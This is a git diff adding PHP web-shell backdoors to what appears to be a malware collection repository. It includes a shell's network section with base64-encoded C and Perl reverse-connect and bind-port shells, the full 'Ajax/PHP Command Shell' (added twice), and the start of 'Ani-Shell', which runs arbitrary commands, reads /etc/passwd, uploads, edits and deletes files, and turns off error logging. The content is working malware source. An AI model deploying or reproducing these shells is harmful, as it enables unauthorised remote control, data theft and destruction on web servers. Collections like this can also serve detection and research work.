        '; + printFooter(); +} +function actionNetwork() { + printHeader(); + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + ?> +

        Network tools

        +
        + Bind port to /bin/sh
        + Port: Password: Using: +
        +
        + Back-connect to
        + Server: '> Port: Using: +

        + $out\n".ex("ps aux | grep bp")."
        "; + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); + echo "
        $out\n".ex("ps aux | grep bp.pl")."
        "; + } + if($_POST['p1'] == 'bcc') { + cf("/tmp/bc.c",$back_connect_c); + $out = ex("gcc -o /tmp/bc /tmp/bc.c"); + @unlink("/tmp/bc.c"); + $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); + echo "
        $out\n".ex("ps aux | grep bc")."
        "; + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); + echo "
        $out\n".ex("ps aux | grep bc.pl")."
        "; + } + } + echo ''; + printFooter(); +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +?> +
        Private Shell - :D From Om3r enjoy it
        +Hackforum.net \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt new file mode 100755 index 0000000..d08768a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt @@ -0,0 +1,646 @@ + 'ClearScreen()', +'Clear History' => 'ClearHistory()', +'Can I function?' => "runcommand('canirun','GET')", +'Get server info' => "runcommand('showinfo','GET')", +'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')", +'Open ports' => "runcommand('netstat -an | grep -i listen','GET')", +'Running processes' => "runcommand('ps -aux','GET')", +'Readme' => "runcommand('shellhelp','GET')" + +); +$thisfile = basename(__FILE__); + +$style = ''; +$sess = __FILE__.$password; +if(isset($_POST['p4ssw0rD'])) +{ + if($_POST['p4ssw0rD'] == $password) + { + $_SESSION[$sess] = $_POST['p4ssw0rD']; + } + else + { + die("Wrong password"); + } + +} +if($_SESSION[$sess] == $password) +{ + if(isset($_SESSION['workdir'])) + { + if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir'])) + { + chdir($_SESSION['workdir']); + } + } + + if(isset($_FILES['uploadedfile']['name'])) + { + $target_path = "./"; + $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + + } + } + + if(isset($_GET['runcmd'])) + { + + $cmd = $_GET['runcmd']; + + print "".get_current_user()."~# ". htmlspecialchars($cmd)."
        "; + + if($cmd == "") + { + print "Empty Command..type \"shellhelp\" for some ehh...help"; + } + + elseif($cmd == "upload") + { + print '
        Uploading to: '.realpath("."); + if(is_writable(realpath("."))) + { + print "
        I can write to this directory"; + } + else + { + print "
        I can't write to this directory, please choose another one."; + } + + } + elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file))) + { + if(file_exists($file[1]) && is_dir($file[1])) + { + chdir($file[1]); + $_SESSION['workdir'] = $file[1]; + print "Current directory changed to ".$file[1]; + } + else + { + print "Directory not found"; + } + } + + elseif(strtolower($cmd) == "shellhelp") + { +print 'Ajax/PHP Command Shell +© By Ironfist + +The shell can be used by anyone to command any server, the main purpose was +to create a shell that feels as dynamic as possible, is expandable and easy +to understand. + +If one of the command execution functions work, the shell will function fine. +Try the "canirun" command to check this. + +Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re +not used to these commands, google a little. + +Custom Functions +If you want to add your own custom command in the Quick Commands list, check +out the code. The $function array contains \'func name\' => \'javascript function\'. +Take a look at the built-in functions for examples. + +I know this readme isn\'t providing too much information, but hell, does this shell +even require one :P + +- Iron + '; + + } + elseif(ereg("editfile (.*)",$cmd,$file)) + { + if(file_exists($file[1]) && !is_dir($file[1])) + { + print "

        "; + } + else + { + print "File not found."; + } + } + elseif(ereg("deletefile (.*)",$cmd,$file)) + { + if(is_dir($file[1])) + { + if(rmdir($file[1])) + { + print "Directory succesfully deleted."; + } + else + { + print "Couldn't delete directory!"; + } + } + else + { + if(unlink($file[1])) + { + print "File succesfully deleted."; + } + else + { + print "Couldn't delete file!"; + } + } + } + elseif(strtolower($cmd) == "canirun") + { + print "If any of these functions is Enabled, the shell will function like it should.
        "; + if(function_exists(passthru)) + { + print "Passthru: Enabled
        "; + } + else + { + print "Passthru: Disabled
        "; + } + + if(function_exists(exec)) + { + print "Exec: Enabled
        "; + } + else + { + print "Exec: Disabled
        "; + } + + if(function_exists(system)) + { + print "System: Enabled
        "; + } + else + { + print "System: Disabled
        "; + } + if(function_exists(shell_exec)) + { + print "Shell_exec: Enabled
        "; + } + else + { + print "Shell_exec: Disabled
        "; + } + print "
        Safe mode will prevent some stuff, maybe command execution, if you're looking for a
        reason why the commands aren't executed, this is probally it.
        "; + if( ini_get('safe_mode') ){ + print "Safe Mode: Enabled"; + } + else + { + print "Safe Mode: Disabled"; + } + print "

        Open_basedir will block access to some files you shouldn't access.
        "; + if( ini_get('open_basedir') ){ + print "Open_basedir: Enabled"; + } + else + { + print "Open_basedir: Disabled"; + } + } + //About the shell + elseif(ereg("listdir (.*)",$cmd,$directory)) + { + + if(!file_exists($directory[1])) + { + die("Directory not found"); + } + //Some variables + chdir($directory[1]); + $i = 0; $f = 0; + $dirs = ""; + $filez = ""; + + if(!ereg("/$",$directory[1])) //Does it end with a slash? + { + $directory[1] .= "/"; //If not, add one + } + print "Listing directory: ".$directory[1]."
        "; + print ""; + + if ($handle = opendir($directory[1])) { + while (false !== ($file = readdir($handle))) { + if(is_dir($file)) + { + $dirs[$i] = $file; + $i++; + } + else + { + $filez[$f] = $file; + $f++; + } + + } + print "
        DirectoriesFiles
        "; + + foreach($dirs as $directory) + { + print "[D][W]".$directory."
        "; + } + + print "
        "; + + foreach($filez as $file) + { + print "[D]".$file."
        "; + } + + print "
        "; + } + } + elseif(strtolower($cmd) == "about") + { + print "Ajax Command Shell by Ironfist.
        Version $version"; + } + //Show info + elseif(strtolower($cmd) == "showinfo") + { + if(function_exists(disk_free_space)) + { + $free = disk_free_space("/") / 1000000; + } + else + { + $free = "N/A"; + } + if(function_exists(disk_total_space)) + { + $total = trim(disk_total_space("/") / 1000000); + } + else + { + $total = "N/A"; + } + $path = realpath ("."); + + print "Free: $free / $total MB
        Current path: $path
        Uname -a Output:
        "; + + if(function_exists(passthru)) + { + passthru("uname -a"); + } + else + { + print "Passthru is disabled :("; + } + } + //Read /etc/passwd + elseif(strtolower($cmd) == "etcpasswdfile") + { + + $pw = file('/etc/passwd/'); + foreach($pw as $line) + { + print $line; + } + + + } + //Execute any other command + else + { + + if(function_exists(passthru)) + { + passthru($cmd); + } + else + { + if(function_exists(exec)) + { + exec("ls -la",$result); + foreach($result as $output) + { + print $output."
        "; + } + } + else + { + if(function_exists(system)) + { + system($cmd); + } + else + { + if(function_exists(shell_exec)) + { + print shell_exec($cmd); + } + else + { + print "Sorry, none of the command functions works."; + } + } + } + } + } + } + + elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent'])) + { + $file = $_POST['filetosave']; + if(!is_writable($file)) + { + if(!chmod($file, 0777)) + { + die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^ + } + } + + $fh = fopen($file, 'w'); + $dt = $_POST['filecontent']; + fwrite($fh, $dt); + fclose($fh); + } + else + { +?> + +Command Shell ~ <?php print getenv("HTTP_HOST"); ?> + + + + + + + + +
        + +

        +
        Quick Commands
        + +
        + $execute) +{ +print ' 
        '; +} +?> + +
        + + +
        +
        Command history
        +
        +
        +
        About
        +
        +
        +Ajax/PHP Command Shell
        by Ironfist +
        +Version + +
        +
        + +
        Thanks to everyone @ +SharePlaza +
        +milw0rm +
        +and special greetings to everyone in rootshell +
        + +
        + + + + +
        +[Execute command] +[Upload file] +[Change directory] +[Filebrowser] +[Create File] + +
        + +
        +
        +   
        +Command:
        +
        +
        +
        +
        + + + +"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} + $line[] = "KILL"; + $porcs[] = $line; + echo ""; + } + } + } + else { + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($poarsesort[1] != "a") { $y = ""; } + else { $y = ""; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i]).""; } + } + $porcs = array(); + unset($stack[0]); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[4] = str_replace(".","",$line[4]); + $line[4] = intval($line[4]) * 1024; + unset($line[5]); + $porcs[] = $line; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $porocesses_sort[0]; + usort($porcs,"tabsort"); + if ($porocesses_sort[1] == "d") {$porcs = array_reverse($porcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$porcs); + echo "
        +
        You are not logged in, please login.
        Password: +
        "; +} +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt.1 b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt.1 new file mode 100755 index 0000000..d08768a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt.1 @@ -0,0 +1,646 @@ + 'ClearScreen()', +'Clear History' => 'ClearHistory()', +'Can I function?' => "runcommand('canirun','GET')", +'Get server info' => "runcommand('showinfo','GET')", +'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')", +'Open ports' => "runcommand('netstat -an | grep -i listen','GET')", +'Running processes' => "runcommand('ps -aux','GET')", +'Readme' => "runcommand('shellhelp','GET')" + +); +$thisfile = basename(__FILE__); + +$style = ''; +$sess = __FILE__.$password; +if(isset($_POST['p4ssw0rD'])) +{ + if($_POST['p4ssw0rD'] == $password) + { + $_SESSION[$sess] = $_POST['p4ssw0rD']; + } + else + { + die("Wrong password"); + } + +} +if($_SESSION[$sess] == $password) +{ + if(isset($_SESSION['workdir'])) + { + if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir'])) + { + chdir($_SESSION['workdir']); + } + } + + if(isset($_FILES['uploadedfile']['name'])) + { + $target_path = "./"; + $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + + } + } + + if(isset($_GET['runcmd'])) + { + + $cmd = $_GET['runcmd']; + + print "".get_current_user()."~# ". htmlspecialchars($cmd)."
        "; + + if($cmd == "") + { + print "Empty Command..type \"shellhelp\" for some ehh...help"; + } + + elseif($cmd == "upload") + { + print '
        Uploading to: '.realpath("."); + if(is_writable(realpath("."))) + { + print "
        I can write to this directory"; + } + else + { + print "
        I can't write to this directory, please choose another one."; + } + + } + elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file))) + { + if(file_exists($file[1]) && is_dir($file[1])) + { + chdir($file[1]); + $_SESSION['workdir'] = $file[1]; + print "Current directory changed to ".$file[1]; + } + else + { + print "Directory not found"; + } + } + + elseif(strtolower($cmd) == "shellhelp") + { +print 'Ajax/PHP Command Shell +© By Ironfist + +The shell can be used by anyone to command any server, the main purpose was +to create a shell that feels as dynamic as possible, is expandable and easy +to understand. + +If one of the command execution functions work, the shell will function fine. +Try the "canirun" command to check this. + +Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re +not used to these commands, google a little. + +Custom Functions +If you want to add your own custom command in the Quick Commands list, check +out the code. The $function array contains \'func name\' => \'javascript function\'. +Take a look at the built-in functions for examples. + +I know this readme isn\'t providing too much information, but hell, does this shell +even require one :P + +- Iron + '; + + } + elseif(ereg("editfile (.*)",$cmd,$file)) + { + if(file_exists($file[1]) && !is_dir($file[1])) + { + print "

        "; + } + else + { + print "File not found."; + } + } + elseif(ereg("deletefile (.*)",$cmd,$file)) + { + if(is_dir($file[1])) + { + if(rmdir($file[1])) + { + print "Directory succesfully deleted."; + } + else + { + print "Couldn't delete directory!"; + } + } + else + { + if(unlink($file[1])) + { + print "File succesfully deleted."; + } + else + { + print "Couldn't delete file!"; + } + } + } + elseif(strtolower($cmd) == "canirun") + { + print "If any of these functions is Enabled, the shell will function like it should.
        "; + if(function_exists(passthru)) + { + print "Passthru: Enabled
        "; + } + else + { + print "Passthru: Disabled
        "; + } + + if(function_exists(exec)) + { + print "Exec: Enabled
        "; + } + else + { + print "Exec: Disabled
        "; + } + + if(function_exists(system)) + { + print "System: Enabled
        "; + } + else + { + print "System: Disabled
        "; + } + if(function_exists(shell_exec)) + { + print "Shell_exec: Enabled
        "; + } + else + { + print "Shell_exec: Disabled
        "; + } + print "
        Safe mode will prevent some stuff, maybe command execution, if you're looking for a
        reason why the commands aren't executed, this is probally it.
        "; + if( ini_get('safe_mode') ){ + print "Safe Mode: Enabled"; + } + else + { + print "Safe Mode: Disabled"; + } + print "

        Open_basedir will block access to some files you shouldn't access.
        "; + if( ini_get('open_basedir') ){ + print "Open_basedir: Enabled"; + } + else + { + print "Open_basedir: Disabled"; + } + } + //About the shell + elseif(ereg("listdir (.*)",$cmd,$directory)) + { + + if(!file_exists($directory[1])) + { + die("Directory not found"); + } + //Some variables + chdir($directory[1]); + $i = 0; $f = 0; + $dirs = ""; + $filez = ""; + + if(!ereg("/$",$directory[1])) //Does it end with a slash? + { + $directory[1] .= "/"; //If not, add one + } + print "Listing directory: ".$directory[1]."
        "; + print ""; + + if ($handle = opendir($directory[1])) { + while (false !== ($file = readdir($handle))) { + if(is_dir($file)) + { + $dirs[$i] = $file; + $i++; + } + else + { + $filez[$f] = $file; + $f++; + } + + } + print "
        DirectoriesFiles
        "; + + foreach($dirs as $directory) + { + print "[D][W]".$directory."
        "; + } + + print "
        "; + + foreach($filez as $file) + { + print "[D]".$file."
        "; + } + + print "
        "; + } + } + elseif(strtolower($cmd) == "about") + { + print "Ajax Command Shell by Ironfist.
        Version $version"; + } + //Show info + elseif(strtolower($cmd) == "showinfo") + { + if(function_exists(disk_free_space)) + { + $free = disk_free_space("/") / 1000000; + } + else + { + $free = "N/A"; + } + if(function_exists(disk_total_space)) + { + $total = trim(disk_total_space("/") / 1000000); + } + else + { + $total = "N/A"; + } + $path = realpath ("."); + + print "Free: $free / $total MB
        Current path: $path
        Uname -a Output:
        "; + + if(function_exists(passthru)) + { + passthru("uname -a"); + } + else + { + print "Passthru is disabled :("; + } + } + //Read /etc/passwd + elseif(strtolower($cmd) == "etcpasswdfile") + { + + $pw = file('/etc/passwd/'); + foreach($pw as $line) + { + print $line; + } + + + } + //Execute any other command + else + { + + if(function_exists(passthru)) + { + passthru($cmd); + } + else + { + if(function_exists(exec)) + { + exec("ls -la",$result); + foreach($result as $output) + { + print $output."
        "; + } + } + else + { + if(function_exists(system)) + { + system($cmd); + } + else + { + if(function_exists(shell_exec)) + { + print shell_exec($cmd); + } + else + { + print "Sorry, none of the command functions works."; + } + } + } + } + } + } + + elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent'])) + { + $file = $_POST['filetosave']; + if(!is_writable($file)) + { + if(!chmod($file, 0777)) + { + die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^ + } + } + + $fh = fopen($file, 'w'); + $dt = $_POST['filecontent']; + fwrite($fh, $dt); + fclose($fh); + } + else + { +?> + +Command Shell ~ <?php print getenv("HTTP_HOST"); ?> + + + + + + + + +
        + +

        +
        Quick Commands
        + +
        + $execute) +{ +print ' 
        '; +} +?> + +
        + + +
        +
        Command history
        +
        +
        +
        About
        +
        +
        +Ajax/PHP Command Shell
        by Ironfist +
        +Version + +
        +
        + +
        Thanks to everyone @ +SharePlaza +
        +milw0rm +
        +and special greetings to everyone in rootshell +
        + +
        + + + + +
        +[Execute command] +[Upload file] +[Change directory] +[Filebrowser] +[Create File] + +
        + +
        +
        +   
        +Command:
        +
        +
        +
        +
        + + + +
        +
        You are not logged in, please login.
        Password: +
        "; +} +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Ani-Shell.php b/web-malware-collection-master/Backdoors/PHP/Ani-Shell.php new file mode 100755 index 0000000..0322c98 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Ani-Shell.php @@ -0,0 +1,2482 @@ +>>>>>>>> c0d3d by lionaneesh <<<<<<<<<< +[]======================================== +[]+ Email: lionaneesh@gmail.com + +[]+ Twitter : twitter.com/lionaneesh + +[]======================================== +[] +[] +[] +[] +[] +[] +[] +[] +[] +[] C0de For India +[] Hack For India +[] Live for India +[] +[] + +Jai Hind +*/ + +ini_set('max_execution_time',0); +ini_set('memory_limit','999999999M'); + + +function Zip($source, $destination) // Thanks to Alix Axel +{ + if (!extension_loaded('zip') || !file_exists($source)) { + return false; + } + + $zip = new ZipArchive(); + if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { + return false; + } + + $source = str_replace('\\', '/', realpath($source)); + + if (is_dir($source) === true) + { + $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); + + foreach ($files as $file) + { + $file = str_replace('\\', '/', realpath($file)); + + if (is_dir($file) === true) + { + $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); + } + else if (is_file($file) === true) + { + $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); + } + } + } + else if (is_file($source) === true) + { + $zip->addFromString(basename($source), file_get_contents($source)); + } + + return $zip->close(); +} + +if(isset($_GET['zip'])) { + $src = $_GET['zip']; + $dst = getcwd()."/".basename($_GET['zip']).".zip"; + if (Zip($src, $dst) != false) { + $filez = file_get_contents($dst); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($filez)); + header("Content-disposition: attachment; filename=\"".basename($dst)."\";"); + echo $filez; + } + exit; +} + +// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\ + +/**************** Defines *********************************/ + +$greeting = "0x xx W3lc0m3 M4st3r xx x0"; +$user = "lionaneesh"; +$pass = "lionaneesh"; +$lock = "on"; // set this to off if you dont need the login page +$antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life') +$tracebackFeature = "off"; // set this feature to on to enable email alerts +$ownerEmail = "lionaneesh@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell +$url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; +$phpVersion = phpversion(); +$self = $_SERVER["PHP_SELF"]; // Where am i +$sm = @ini_get('safe_mode'); +$SEPARATOR = '/'; // Default Directory separator +$os = "N/D"; + +if(stristr(php_uname(),"Windows")) +{ + $SEPARATOR = '\\'; + $os = "Windows"; +} + +else if(stristr(php_uname(),"Linux")) +{ + $os = "Linux"; +} + +//*************************************************************/ + +// -------------- Traceback Functions + +function sendLoginAlert() +{ + global $ownerEmail; + global $url; + $accesedIp = $_SERVER['REMOTE_ADDR']; + $randomInt = rand(0,1000000); # to avoid id blocking + $from = "ani-shell$randomInt@fbi.gov"; + + //echo $from; + + if(function_exists('mail')) + { + $subject = "Shell Accessed -- Ani-Shell --"; + $message = " +Hey Owner , + + Your Shell(Ani-Shell) located at $url was accessed by $accesedIp + + If its not you :- + + 1. Please check if the shell is secured. + 2. Change your user name and Password. + 3. Check if lock is 0n! + + Thanking You + +Yours Faithfully +Ani-Shell + "; + mail($ownerEmail,$subject,$message,'From:'.$from); + } +} + +//--------------------------------------------------------- + + +if(function_exists('session_start') && $lock == 'on') +{ + session_start(); +} +else +{ + // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported + $lock = 'off'; +} + +//logout + +if(isset($_GET['logout']) && $lock == 'on') +{ + $_SESSION['authenticated'] = 0; + session_destroy(); + header("location: ".$_SERVER['PHP_SELF']); +} + +ini_set('max_execution_time',0); + + + +/***************** Restoring *******************************/ + + +ini_restore("safe_mode_include_dir"); +ini_restore("safe_mode_exec_dir"); +ini_restore("disable_functions"); +ini_restore("allow_url_fopen"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); + +if(function_exists('ini_set')) +{ + ini_set('error_log',NULL); // No alarming logs + ini_set('log_errors',0); // No logging of errors + ini_set('file_uploads',1); // Enable file uploads + ini_set('allow_url_fopen',1); // allow url fopen +} + +else +{ + ini_alter('error_log',NULL); + ini_alter('log_errors',0); + ini_alter('file_uploads',1); + ini_alter('allow_url_fopen',1); +} + +// ---------------------------------------------------------------------------------------------------------------- + + +?> + + +Ani-Shell | India + + + + + + + + + + + +
        + +

        Lock is Switched Off! , The shell can be accessed by anyone!

        + + + + + + + + +
        +
        +
        +
        +[]========================================
        +[]--------------Ani Shell-----------------
        +[]----------------------------------------
        +[]========================================
        +[]>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
        +[]========================================
        +[]   Email: lionaneesh@gmail.com         +
        +[]   Twitter : twitter.com/lionaneesh    +
        +[]========================================
        +[]
        +[]
        +[]
        +[]
        +[]
        +[]
        +[]
        +[]
        +[]
        +[]  C0de For India
        +[]  Hack For India
        +[]  Live for India
        +[]
        +[]
        +
        +
        +
        + + // include("http://ani-shell.sourceforge.net/wassup.txt"); + // + ?> + + +



        +
        + +
        +
        + + + + + $mod; $i++) + { + $size /= $mod; + } + + return round($size, 2) . ' ' . $units[$i]; + } + +function getClientIp() +{ + echo $_SERVER['REMOTE_ADDR']; +} + +function getServerIp() +{ + echo getenv('SERVER_ADDR'); +} +function getSoftwareInfo() +{ + echo php_uname(); +} +function diskSpace() +{ + echo HumanReadableFilesize(disk_total_space("/")); +} +function freeSpace() +{ + echo HumanReadableFilesize(disk_free_space("/")); +} +function getSafeMode() +{ + global $sm; + echo($sm?"ON (Most of the Features will Not Work)":"OFF"); + +} + +function getDisabledFunctions() +{ + if(!ini_get('disable_functions')) + { + echo "None"; + } + else + { + echo @ini_get('disable_functions'); + } +} + +function getFilePermissions($file) +{ + +$perms = fileperms($file); + +if (($perms & 0xC000) == 0xC000) { + // Socket + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + // Symbolic Link + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + // Regular + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + // Block special + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + // Directory + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + // Character special + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + // FIFO pipe + $info = 'p'; +} else { + // Unknown + $info = 'u'; +} + +// Owner +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) 